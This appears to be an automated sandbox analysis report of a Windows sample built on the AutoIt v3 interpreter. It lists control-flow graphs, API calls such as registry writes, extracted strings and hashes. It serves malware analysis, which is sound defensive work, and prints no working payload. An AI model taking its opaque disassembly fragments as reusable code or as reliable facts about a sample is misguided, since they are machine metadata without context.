8c4db8 71->88 72->40 105 92d01f-92d042 call 8a7ab0 call 8ae650 72->105 85->40 86 92d2cd-92d2f2 call 8a7ab0 call 8ae650 85->86 86->40 122 92d0f6-92d128 call 8a8e70 RegSetValueExW 87->122 123 92d0d8-92d0dd 87->123 106 92d215-92d238 call 8a8e70 call 8c4db8 88->106 107 92d17f-92d19f call 8ac92d call 8a8e70 88->107 105->40 130 92d265-92d282 call 8a8e70 call 8c4db8 106->130 131 92d23a-92d260 call 8ac5df call 8a8e70 106->131 129 92d1a1-92d1b4 RegSetValueExW 107->129 140 92d14a-92d151 call 8c01a4 122->140 141 92d12a-92d143 call 8a7ab0 call 8ae650 122->141 126 92d0e5-92d0e8 123->126 127 92d0df-92d0e1 123->127 126->123 132 92d0ea-92d0ec 126->132 127->126 129->40 135 92d1b6-92d1c0 call 8a7ab0 129->135 146 92d1c5-92d1cf call 8ae650 130->146 153 92d288-92d2b9 call 91276a call 8a8e70 call 9127da 130->153 131->129 132->122 138 92d0ee-92d0f2 132->138 135->146 138->122 140->40 141->140 146->40 153->85
                                                              APIs
                                                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0092CE1C
                                                              • RegCreateKeyExW.KERNELBASE(?,?,00000000,0093DCD0,00000000,?,00000000,?,?), ref: 0092CEA3
                                                              • RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 0092CF03
                                                              • _wcslen.LIBCMT ref: 0092CF53
                                                              • _wcslen.LIBCMT ref: 0092CFCE
                                                              • RegSetValueExW.KERNELBASE(00000001,?,00000000,00000001,?,?), ref: 0092D011
                                                              • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 0092D120
                                                              • RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 0092D1AC
                                                              • RegCloseKey.KERNELBASE(?), ref: 0092D1E0
                                                              • RegCloseKey.ADVAPI32(00000000), ref: 0092D1ED
                                                              • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 0092D2BF
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Value$Close$_wcslen$ConnectCreateRegistry
                                                              • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                              • API String ID: 9721498-966354055
                                                              • Opcode ID: fdb03983e800e367934ae37dd13b25a3d83176f9b20ecda1dd3897dd80891af4
                                                              • Instruction ID: 238cfc9efa76a4ba6dd63717f6d9e32d28f494e8dc5761b98f4e7989104ebead
                                                              • Opcode Fuzzy Hash: fdb03983e800e367934ae37dd13b25a3d83176f9b20ecda1dd3897dd80891af4
                                                              • Instruction Fuzzy Hash: 281267756042109FD714EF28D891B2AB7E5FF89714F04885CF99A9B7A2CB30ED41CB92
                                                              Function 008A3E15 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 163 8a3e15-8a3e45 call 8c019b call 8c016b 168 8a3e6e-8a3e80 call 8c919b 163->168 169 8a3e47-8a3e49 163->169 171 8a3e4a-8a3e50 168->171 175 8a3e82-8a3e94 call 8c919b 168->175 169->171 173 8a3e52-8a3e62 call 8c015d call 8c01a4 171->173 174 8a3e65-8a3e6b 171->174 173->174 181 8a3e9a-8a3eac call 8c919b 175->181 182 8e4585-8e4587 175->182 186 8e458c-8e458f 181->186 187 8a3eb2-8a3ec4 call 8c919b 181->187 182->171 186->171 190 8a3eca-8a3edc call 8c919b 187->190 191 8e4594-8e45cb call 8a4154 call 8a4093 call 8a3fb8 call 8c4cf3 187->191 196 8e462e-8e4633 190->196 197 8a3ee2-8a3ef4 call 8c919b 190->197 223 8e45cd-8e45d8 191->223 224 8e4608-8e460b 191->224 196->171 201 8e4639-8e4655 call 8be2e5 196->201 205 8a3efa-8a3f0c call 8c919b 197->205 206 8e4677-8e4688 call 90a316 197->206 212 8e4657-8e465b 201->212 213 8e4662-8e466a 201->213 219 8a3f0e-8a3f20 call 8c919b 205->219 220 8a3f26 205->220 221 8e46dc-8e46e2 206->221 222 8e468a-8e46d2 call 8ab25f * 2 call 8a5379 call 8a3aa3 call 8abd2c * 2 206->222 212->201 218 8e465d 212->218 213->171 214 8e4670 213->214 214->206 218->171 219->171 219->220 230 8a3f29-8a3f2e call 8aad74 220->230 225 8e46f5-8e46ff call 90a12a 221->225 240 8e4704-8e4706 222->240 268 8e46d4-8e46d7 222->268 223->224 231 8e45da-8e45e1 223->231 226 8e460d-8e461b 224->226 227 8e45f6-8e4603 call 8c01a4 224->227 225->240 239 8e4620-8e4629 call 8c01a4 226->239 227->225 242 8a3f33-8a3f35 230->242 231->227 237 8e45e3-8e45e7 231->237 237->227 243 8e45e9-8e45f4 237->243 239->171 240->171 246 8a3f3b-8a3f5e call 8a3fb8 call 8a4093 call 8c919b 242->246 247 8e46e4-8e46e9 242->247 243->239 264 8a3fb0-8a3fb3 246->264 265 8a3f60-8a3f72 call 8c919b 246->265 247->171 249 8e46ef-8e46f0 247->249 249->225 264->230 265->264 270 8a3f74-8a3f86 call 8c919b 265->270 268->171 273 8a3f88-8a3f9a call 8c919b 270->273 274 8a3f9c-8a3fa5 270->274 273->230 273->274 274->171 276 8a3fab 274->276 276->230
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                                              • API String ID: 0-1645009161
                                                              • Opcode ID: a1509c53e3ab811e38ead2b955a18ff8e83aef891817138b0353de31df33b035
                                                              • Instruction ID: afc2dd9a3138afd21c916b33bef1ee861eaf597c07ab3a7bbf11b64cfb699f21
                                                              • Opcode Fuzzy Hash: a1509c53e3ab811e38ead2b955a18ff8e83aef891817138b0353de31df33b035
                                                              • Instruction Fuzzy Hash: 69812570A44205BFEB10AF69DC06FAE77B8FF56304F044015F809EA592EB70DA60CB92
                                                              Function 008AEE0B Relevance: 21.6, APIs: 14, Instructions: 609windowsleeptimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetInputState.USER32 ref: 008AEEB7
                                                              • timeGetTime.WINMM ref: 008AF0B7
                                                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 008AF1D8
                                                              • TranslateMessage.USER32(?), ref: 008AF22B
                                                              • DispatchMessageW.USER32(?), ref: 008AF239
                                                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 008AF24F
                                                              • Sleep.KERNELBASE(0000000A), ref: 008AF261
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
                                                              • String ID:
                                                              • API String ID: 2189390790-0
                                                              • Opcode ID: 6c19d61c4f26411a1a37e3a65b2202cc182d7f545f719cb4e691397c6ba6960a
                                                              • Instruction ID: 3bfe707118d5fc7e4d2f2b975aec5df1b1893398431362e4076e84e84ab8a7e0
                                                              • Opcode Fuzzy Hash: 6c19d61c4f26411a1a37e3a65b2202cc182d7f545f719cb4e691397c6ba6960a
                                                              • Instruction Fuzzy Hash: 5E32DE30608645DFE728CF24C844BBAB7E4FF82304F14452EE659C7692D771E984DB92
                                                              Function 008A35AB Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • GetSysColorBrush.USER32(0000000F), ref: 008A35DE
                                                              • RegisterClassExW.USER32(00000030), ref: 008A3608
                                                              • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 008A3619
                                                              • InitCommonControlsEx.COMCTL32(?), ref: 008A3636
                                                              • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 008A3646
                                                              • LoadIconW.USER32(000000A9), ref: 008A365C
                                                              • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 008A366B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                              • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                              • API String ID: 2914291525-1005189915
                                                              • Opcode ID: ff3cd9f5c6e8d585ab8a8a0dc3c3cda06230832d65c3c11b4f12424d8d40742c
                                                              • Instruction ID: 09b692228354bc1e140cd3e35029a75963bd6519e60fc8d225cc2c11d084a075
                                                              • Opcode Fuzzy Hash: ff3cd9f5c6e8d585ab8a8a0dc3c3cda06230832d65c3c11b4f12424d8d40742c
                                                              • Instruction Fuzzy Hash: AE21F7B192A309AFDB10DFA4ED89B9DBBB4FB08700F00411AF615A62A0D7B44584DF90
                                                              Function 008E09FB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 678 8e09fb-8e0a2b call 8e07cf 681 8e0a2d-8e0a38 call 8cf656 678->681 682 8e0a46-8e0a52 call 8d55b1 678->682 687 8e0a3a-8e0a41 call 8cf669 681->687 688 8e0a6b-8e0ab4 call 8e073a 682->688 689 8e0a54-8e0a69 call 8cf656 call 8cf669 682->689 699 8e0d1d-8e0d23 687->699 697 8e0ab6-8e0abf 688->697 698 8e0b21-8e0b2a GetFileType 688->698 689->687 701 8e0af6-8e0b1c GetLastError call 8cf633 697->701 702 8e0ac1-8e0ac5 697->702 703 8e0b2c-8e0b5d GetLastError call 8cf633 CloseHandle 698->703 704 8e0b73-8e0b76 698->704 701->687 702->701 707 8e0ac7-8e0af4 call 8e073a 702->707 703->687 715 8e0b63-8e0b6e call 8cf669 703->715 705 8e0b7f-8e0b85 704->705 706 8e0b78-8e0b7d 704->706 711 8e0b89-8e0bd7 call 8d54fa 705->711 712 8e0b87 705->712 706->711 707->698 707->701 721 8e0bd9-8e0be5 call 8e094b 711->721 722 8e0be7-8e0c0b call 8e04ed 711->722 712->711 715->687 721->722 729 8e0c0f-8e0c19 call 8d8a3e 721->729 727 8e0c1e-8e0c61 722->727 728 8e0c0d 722->728 731 8e0c82-8e0c90 727->731 732 8e0c63-8e0c67 727->732 728->729 729->699 735 8e0d1b 731->735 736 8e0c96-8e0c9a 731->736 732->731 734 8e0c69-8e0c7d 732->734 734->731 735->699 736->735 737 8e0c9c-8e0ccf CloseHandle call 8e073a 736->737 740 8e0d03-8e0d17 737->740 741 8e0cd1-8e0cfd GetLastError call 8cf633 call 8d56c3 737->741 740->735 741->740
                                                              APIs
                                                                • Part of subcall function 008E073A: CreateFileW.KERNELBASE(00000000,00000000,?,008E0AA4,?,?,00000000,?,008E0AA4,00000000,0000000C), ref: 008E0757
                                                              • GetLastError.KERNEL32 ref: 008E0B0F
                                                              • __dosmaperr.LIBCMT ref: 008E0B16
                                                              • GetFileType.KERNELBASE(00000000), ref: 008E0B22
                                                              • GetLastError.KERNEL32 ref: 008E0B2C
                                                              • __dosmaperr.LIBCMT ref: 008E0B35
                                                              • CloseHandle.KERNEL32(00000000), ref: 008E0B55
                                                              • CloseHandle.KERNEL32(?), ref: 008E0C9F
                                                              • GetLastError.KERNEL32 ref: 008E0CD1
                                                              • __dosmaperr.LIBCMT ref: 008E0CD8
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                              • String ID: H
                                                              • API String ID: 4237864984-2852464175
                                                              • Opcode ID: 6c04d74330b0115bdd97b4f9a5314b77427e50a2d51e563e662a79fae67b01b7
                                                              • Instruction ID: cc9cd08ddcd07a41237a8610b523bf3062d5088f3e1245cded42d11278505751
                                                              • Opcode Fuzzy Hash: 6c04d74330b0115bdd97b4f9a5314b77427e50a2d51e563e662a79fae67b01b7
                                                              • Instruction Fuzzy Hash: 09A12432A141988FDF19AF6CD852BAD3BA1FB0A324F14025DF811DB291C7759982DF52
                                                              Function 008A522E Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                                • Part of subcall function 008A551B: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,008E4B50,?,?,00000100,00000000,00000000,CMDLINE,?,?,00000001,00000000), ref: 008A5539
                                                                • Part of subcall function 008A51BF: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 008A51E1
                                                              • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 008A534B
                                                              • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 008E4BD7
                                                              • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 008E4C18
                                                              • RegCloseKey.ADVAPI32(?), ref: 008E4C5A
                                                              • _wcslen.LIBCMT ref: 008E4CC1
                                                              • _wcslen.LIBCMT ref: 008E4CD0
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
                                                              • String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
                                                              • API String ID: 98802146-2727554177
                                                              • Opcode ID: 61f27b4c7dc3ee6fb1ebec366028497ef5c865fbd284ca6c963ca1b14caba57a
                                                              • Instruction ID: ecf17966e0c1c5939f1e32e115253734a0826cd9ffce19183631ef460d8ff5e3
                                                              • Opcode Fuzzy Hash: 61f27b4c7dc3ee6fb1ebec366028497ef5c865fbd284ca6c963ca1b14caba57a
                                                              • Instruction Fuzzy Hash: 717182725193009ED320EF69EC4595BB7F8FF96340F80542DF449C71A1EB719A88EB52
                                                              Function 008A345A Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63windowregistryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • GetSysColorBrush.USER32(0000000F), ref: 008A3465
                                                              • LoadCursorW.USER32(00000000,00007F00), ref: 008A3474
                                                              • LoadIconW.USER32(00000063), ref: 008A348A
                                                              • LoadIconW.USER32(000000A4), ref: 008A349C
                                                              • LoadIconW.USER32(000000A2), ref: 008A34AE
                                                              • LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 008A34C6
                                                              • RegisterClassExW.USER32(?), ref: 008A3517
                                                                • Part of subcall function 008A35AB: GetSysColorBrush.USER32(0000000F), ref: 008A35DE
                                                                • Part of subcall function 008A35AB: RegisterClassExW.USER32(00000030), ref: 008A3608
                                                                • Part of subcall function 008A35AB: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 008A3619
                                                                • Part of subcall function 008A35AB: InitCommonControlsEx.COMCTL32(?), ref: 008A3636
                                                                • Part of subcall function 008A35AB: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 008A3646
                                                                • Part of subcall function 008A35AB: LoadIconW.USER32(000000A9), ref: 008A365C
                                                                • Part of subcall function 008A35AB: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 008A366B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                              • String ID: #$0$AutoIt v3
                                                              • API String ID: 423443420-4155596026
                                                              • Opcode ID: 0c2016123015fba46a1c67a51f7963a4ce080781ccb26f4bad0ac9d604149bad
                                                              • Instruction ID: a7441f5b14582707c277cc0d4c8c16d17c898bfadf1ac5dca02347d70ffc6d29
                                                              • Opcode Fuzzy Hash: 0c2016123015fba46a1c67a51f7963a4ce080781ccb26f4bad0ac9d604149bad
                                                              • Instruction Fuzzy Hash: D02150B2D35314ABDB109FA5EC55B997FB4FB08F50F00001AF608AA2A0C3B94585EF90
                                                              Function 008A3AA3 Relevance: 16.3, APIs: 3, Strings: 6, Instructions: 532COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 819 8a3aa3-8a3ac6 820 8a3acc-8a3b35 call 8c019b call 8a7953 call 8abf07 call 8a7953 * 2 call 8a6e52 819->820 821 8e4139-8e414c call 90a12a 819->821 855 8a3b3b-8a3b48 call 8a6cce call 8a6b12 820->855 856 8e456b-8e457b call 90a12a 820->856 827 8e4153-8e415b 821->827 830 8e415d-8e4165 827->830 831 8e416b-8e4173 827->831 830->831 835 8a3b64-8a3bd3 call 8abf07 call 8a3a70 call 8abf07 call 8a557e call 8a41c9 call 8a6bfa 830->835 832 8e417e-8e4186 831->832 833 8e4175-8e417c 831->833 838 8e4188-8e418f 832->838 839 8e4191-8e4199 832->839 837 8e41a6-8e41af call 90d4bf 833->837 869 8a3bd9-8a3c48 call 8abf07 * 2 call 8a694e call 8a7af4 SetCurrentDirectoryW call 8abd2c * 2 call 8c019b call 8a41a6 835->869 870 8e41b4-8e41bf 835->870 837->835 838->837 839->835 843 8e419f-8e41a1 839->843 843->837 866 8a3b4d-8a3b5e call 8a6afb 855->866 862 8e4580 856->862 862->862 866->827 866->835 917 8a3c4c-8a3c51 869->917 870->869 872 8e41c5-8e41f8 call 8a7953 call 8a636d 870->872 883 8e41fe-8e4225 call 9135cd call 8a63db 872->883 884 8e4502-8e4519 call 90a12a 872->884 883->884 897 8e422b-8e42a7 call 8c016b call 8abc23 call 8abb3d 883->897 893 8a3da5-8a3df0 call 8abd2c * 2 call 8a7953 call 8abd2c call 8a7953 call 8c01a4 884->893 919 8e446f-8e44ab call 8abc23 call 9113a0 call 904a0c call 8c4d0e 897->919 920 8e42ad-8e42cf call 8abc23 897->920 921 8a3d71-8a3d92 call 8a7953 SetCurrentDirectoryW 917->921 922 8a3c57-8a3c64 call 8aad74 917->922 971 8e44ad-8e44d2 call 8a5c10 call 8c01a4 call 911388 919->971 937 8e42e5-8e42f0 call 9114a6 920->937 938 8e42d1-8e42e0 920->938 921->893 934 8a3d94-8a3da2 call 8c015d call 8c01a4 921->934 922->921 933 8a3c6a-8a3c86 call 8a4093 call 8a3ff3 922->933 961 8e454e-8e4566 call 90a12a 933->961 962 8a3c8c-8a3ca3 call 8a3fb8 call 8c4cf3 933->962 934->893 949 8e430d-8e4318 call 911492 937->949 950 8e42f2-8e4308 937->950 942 8e4401-8e4414 call 8abb3d 938->942 942->920 959 8e441a-8e4424 942->959 967 8e432e-8e4339 call 8be607 949->967 968 8e431a-8e4329 949->968 950->942 964 8e4426-8e4434 959->964 965 8e4457 call 90a486 959->965 961->921 988 8a3cc6-8a3cc9 962->988 989 8a3ca5-8a3cc0 call 8c6755 962->989 964->965 972 8e4436-8e4455 call 8a40e0 964->972 974 8e445c-8e4469 965->974 967->942 984 8e433f-8e435b call 909f0d 967->984 968->942 971->893 972->974 974->919 974->920 999 8e435d-8e4388 call 8ab25f call 8abd2c 984->999 1000 8e438a-8e438d 984->1000 993 8a3ccf-8a3cd4 988->993 994 8a3df3-8a3df9 988->994 989->988 989->994 995 8a3cda-8a3d13 call 8ab25f call 8a3e15 993->995 996 8e452f-8e4537 call 909dd5 993->996 994->993 998 8a3dff-8e452a 994->998 1027 8a3d30-8a3d32 995->1027 1028 8a3d15-8a3d2c call 8c01a4 call 8c015d 995->1028 1021 8e453c-8e453f 996->1021 998->993 1042 8e43b6-8e43c7 call 8abc23 999->1042 1004 8e438f-8e43b5 call 8ab25f call 8a7d27 call 8abd2c 1000->1004 1005 8e43c9-8e43cc 1000->1005 1004->1042 1012 8e43ce-8e43d7 call 909e3c 1005->1012 1013 8e43ed-8e43f1 call 91142e 1005->1013 1025 8e43dd-8e43e8 call 8c01a4 1012->1025 1026 8e44d7-8e4500 call 90a12a call 8c01a4 call 8c4d0e 1012->1026 1023 8e43f6-8e4400 call 8c01a4 1013->1023 1029 8a3e08-8a3e10 1021->1029 1030 8e4545-8e4549 1021->1030 1023->942 1025->920 1026->971 1040 8a3d38-8a3d3b 1027->1040 1041 8a3e04 1027->1041 1028->1027 1037 8a3d5e-8a3d6b 1029->1037 1030->1029 1037->917 1037->921 1040->1029 1047 8a3d41-8a3d44 1040->1047 1041->1029 1042->1023 1047->1021 1051 8a3d4a-8a3d59 call 8a40e0 1047->1051 1051->1037
                                                              APIs
                                                                • Part of subcall function 008A7953: CloseHandle.KERNELBASE(?,?,00000000,008E3A1C), ref: 008A7973
                                                                • Part of subcall function 008A6E52: CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,008A3B33,?,00008000), ref: 008A6E80
                                                              • SetCurrentDirectoryW.KERNELBASE(?,?,?,?,00000000), ref: 008A3C17
                                                              • _wcslen.LIBCMT ref: 008A3C96
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 008A3D81
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CurrentDirectory$CloseCreateFileHandle_wcslen
                                                              • String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                                              • API String ID: 3350465876-3738523708
                                                              • Opcode ID: 59e5d1a25870d039b91136501433525fd5f13d782a2c21d58875eb82d31c02a4
                                                              • Instruction ID: 347aa8b9d66e9e7c0bca2a421fc999b7f0b3580b5a9c7c71183650d973bf98c2
                                                              • Opcode Fuzzy Hash: 59e5d1a25870d039b91136501433525fd5f13d782a2c21d58875eb82d31c02a4
                                                              • Instruction Fuzzy Hash: 412259711083809FD714EF28C841AAEBBE5FF96314F04491EF589D36A2DB709A49CB53
                                                              Function 008A3696 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145windowtimeregistryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
